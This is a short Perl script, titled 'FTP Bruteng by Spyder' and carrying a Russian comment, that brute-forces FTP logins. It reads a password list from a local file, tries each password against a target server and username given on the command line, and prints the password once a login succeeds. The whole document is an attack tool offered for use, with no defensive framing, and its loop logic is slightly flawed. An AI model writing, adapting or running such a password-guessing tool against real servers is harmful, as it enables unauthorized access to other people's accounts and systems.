#!/usr/bin/perl
use NET::FTP;
print "FTP Bruteng by Spyder\nWorking...\n";
open (SRC, "G:/xek.txt") or die "cant open\n";# путь к файлу с паролями, в винде вообще проблема с открытием файлов
@SRC = <SRC>;
$n = @SRC;
CHECK: for ($id = 0;$id <= $n;$id++) {
$login = "$ARGV[1]";
$pass = "$SRC[$id]";
chomp($pass);
$ip = "$ARGV[0]";
$ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
last CHECK if $ok;
}
print "Pass for $ARGV[0] is $SRC[$id]\n";